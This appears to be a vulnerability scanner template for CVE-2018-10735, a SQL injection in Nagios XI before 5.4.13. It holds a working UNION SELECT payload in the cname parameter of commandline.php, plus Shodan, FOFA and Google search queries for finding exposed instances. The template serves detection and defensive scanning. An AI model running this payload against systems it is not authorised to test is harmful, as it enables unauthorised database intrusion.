漏洞描述
A SQL injection issue was discovered in Nagios XI before 5.4.13 via the admin/commandline.php cname parameter.
id: CVE-2018-10735
info:
name: NagiosXI <= 5.4.12 `commandline.php` SQL injection
author: DhiyaneshDk
severity: high
description: |
A SQL injection issue was discovered in Nagios XI before 5.4.13 via the admin/commandline.php cname parameter.
reference:
- https://vulners.com/seebug/SSV:97266
- https://github.com/chaitin/xray/blob/master/pocs/nagio-cve-2018-10735.yml
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.2
cve-id: CVE-2018-10735
cwe-id: CWE-89
epss-score: 0.86568
epss-percentile: 0.99382
cpe: cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: nagios
product: nagios_xi
shodan-query: http.title:"nagios xi"
fofa-query:
- app="Nagios-XI"
- title="nagios xi"
- app="nagios-xi"
google-query: intitle:"nagios xi"
tags: cve,cve2018,nagios,sqli
variables:
num: "{{rand_int(2000000000, 2100000000)}}"
http:
- method: GET
path:
- "{{BaseURL}}/nagiosql/admin/commandline.php?cname=%27%20union%20select%20concat(md5({{num}}))%23"
matchers:
- type: word
part: body
words:
- "{{md5(num)}}"
# digest: 4a0a004730450220720510da2d671f3c48d071dda9be4a636decff6e799d5ca33766ce2fab3cb1df022100b73dbff235e687ed4d68fbaff179922d9ec0e96f3f3cfd56413e4e0f29045039:922c64590222798bb761d5b6d8e72950